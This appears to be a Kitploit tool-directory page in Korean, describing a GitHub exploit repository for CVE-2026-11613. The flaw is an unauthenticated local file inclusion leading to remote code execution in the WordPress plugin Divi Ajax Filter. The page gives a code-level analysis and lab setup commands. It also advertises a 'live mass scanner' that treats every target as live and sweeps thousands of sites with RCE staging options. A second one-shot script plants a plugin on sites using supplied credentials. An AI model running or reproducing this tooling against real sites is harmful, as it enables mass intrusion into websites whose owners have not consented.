Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 인증되지 않은 로컬 파일 포함 - 'custom_loop_template' 경유 | Kitploit
도구/GitHubGitHub/wayang1337/cve-2026-11613
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 인증되지 않은 로컬 파일 포함 - 'custom_loop_template' 경유

저장소 보기
6시간 13분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — 인증되지 않은 LFI -> RCE

플러그인Divi Ajax Filter (Divi Engine, 프리미엄 — wordpress.org SVN 아님)
영향 범위모든 버전 <= 5.1.2 (랩은 미러에서 3.1.8.4 사용)
패치됨5.1.3 (2026년 8월 11일)
유형CWE-98 — PHP 로컬 파일 포함, 인증되지 않음
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N)
권고Wordfence (발견자: h0xilo), 2026년 9월 4일 게시
코드 소스공개 미러: github.com/albertoformi/fr9z3i4pwxt3qx (WP 사이트 + 플러그인은 includes/modules/divi-ajax-filter/에 있음)

기술 분석 (미러 코드 v3.1.8.4 기준)

  1. 공개 nonce — includes/modules/FilterPosts/FilterPosts.php:1759에서 wp_create_nonce('filter_object')를 생성하고 wp_localize_script (filter_ajax_object.security)를 통해 모든 방문자에게 enqueue되는 스크립트에 첨부합니다 (wp_enqueue_scripts). Nonce는 장벽이 아닙니다: 모든 방문자가 사본을 가지고 있습니다.
  2. 인증되지 않은 진입점 — filter_ajax.php:3406-3407 및 loadmore_ajax.php:569-570에서 wp_ajax_nopriv_* (로그인 없이)로 핸들러를 등록합니다.
  3. 샌니타이즈되지 않은 입력 — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), 그 다음 $custom_loop_template = $loop_var['custom_loop_template']을 그대로 사용 — basename() 없음, 화이트리스트 없음, realpath 검사 없음.
  4. Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    조건: 요청은 비-WooCommerce 분기로 들어가야 하며 (query JSON의 $posttype은 자유롭고, 허용 목록 없음) 쿼리는 >= 1개의 포스트를 반환해야 합니다.
  5. 트래버설 깊이 — 기본 디렉터리 = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → webroot로 돌아가려면 ../../../../../ (5회) 필요. 중요 참고: file_exists()/include()는 경로 접두사 구성 요소가 없으면 조용히 실패합니다 — 테마 내 divi-ajax-filter/loop-templates/ 디렉터리가 존재해야 합니다 (이것은 플러그인의 문서화된 custom-template 구조이므로 이 기능을 사용하는 사이트에서 일반적으로 존재합니다; 해당 디렉터리가 없으면 트래버설이 효과적으로 차단됩니다).
  6. RCE — 공격자가 서버에 .php를 업로드할 수 있다면 (author 권한 사용자 업로드, 느슨한 업로드 구성, 다른 플러그인), 업로드 파일 포함 = 코드 실행.

디렉터리 구조

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + 라이브 대량 스캐너 (단일 파일)
├── divi-ajax-filter-3.1.8.4.zip # 설치 준비된 플러그인 (WP admin / Plugins > Add New로 업로드)
├── README.md
├── mirror-site/                 # github albertoformi/fr9z3i4pwxt3qx 클론
│   └── includes/modules/divi-ajax-filter/   # 플러그인 v3.1.8.4 (영향 받음)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB, 포트 8099
    ├── setup.sh                 # 플러그인 복사 + compose up
    ├── install_wp.sh            # WP 설치 + 검증
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # DiviExtension/ET_Builder_* shim (랩 전용)
        │   └── zz-activate-daf.php     # 플러그인 자동 활성화
        ├── plugins/divi-ajax-filter/   # 취약한 플러그인 (컨테이너에 마운트됨)
        └── uploads/poc-rce.php         # 시뮬레이션된 "업로드" 페이로드 (끝에서 exit)

랩 실행

root@kitploit:~
bash lab/setup.sh        # 플러그인 복사 + docker compose up (포트 8099)
bash lab/install_wp.sh   # WP 설치 (admin / LabPass!2026)
# 트래버설에 필요한 테마 구조 추가:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# 예제 포스트 2개 생성 (한 번만):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / 라이브 스캐너 (모드 없음 — 모든 대상은 라이브로 처리됨)

root@kitploit:~
python poc_http.py target.com                       # 자동 http://
python poc_http.py https://target.com domain2.com   # 여러 대상
python poc_http.py --list targets.txt --threads 30  # 5000+ 대량 스캔
python poc_http.py --list targets.txt --fast        # 대상당 2요청 경량 스윕
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # RCE 스테이징
  • 스킴 없는 도메인은 자동으로 http://가 됩니다; 자동 중복 제거; 결과는 results_cve-2026-11613.csv에 증분 기록됩니다 (Ctrl-C 안전, 부분 결과 저장됨).
  • 대상별 상태: VULN: LFI / VULN: LFI+RCE (녹색), not-confirmed (노란색), NO-NONCE / NO-PLUGIN (청록색), UNREACHABLE / ERROR (빨간색).
  • --no-color / env NO_COLOR로 일반 출력; 파이프 시 색상 자동 비활성화.
  • 종료 코드: 0 = 취약한 대상 있음, 1 = 없음, 130 = 인터럽트됨.

WayangXploit — 원샷 (canary 심기 + 자동 RCE 검증)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

단일 명령: 로그인 → canary WayangXploit 심기 (작은 비활성 플러그인, PoC 전용: marker+uid+uname 출력 후 exit, 웹셸 아님, cmd 매개변수 없음) → 검증 → 인증되지 않은 LFI 스윕 → RCE 판정. 자동: https 업그레이드, SSL 우회, 리디렉션 보존 POST. 정리: 테스트 후 wp-admin에서 "WayangXploit Canary" + "Divi Compat Shim" 플러그인 삭제.

poc_http.py는 이제 기본적으로 --upload-marker WayangXploit-RCE-CONFIRMED (따라서 --upload-rel / --upload-name만으로 충분).

랩 검증 결과 (실제, HTTP 응답에서)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

라이브 대상의 exploitability 조건 (live_scan.py가 확인):

  1. Divi Ajax Filter 플러그인 <= 5.1.2 활성화 (recon: 플러그인 메인 파일 직접 접근).
  2. filter_object nonce가 공개 페이지에 노출됨 (모듈 스크립트가 enqueue됨).
  3. <theme>/divi-ajax-filter/loop-templates/ 존재 (접두사 트래버설에 필요).
  4. RCE의 경우: 공격자가 접근 가능한 .php 파일 존재 (예: 업로드 결과) — LFI 전용도 영향 있음 (모든 .php 파일에 대한 정보 공개 / 인증 우회).
도구 다운로드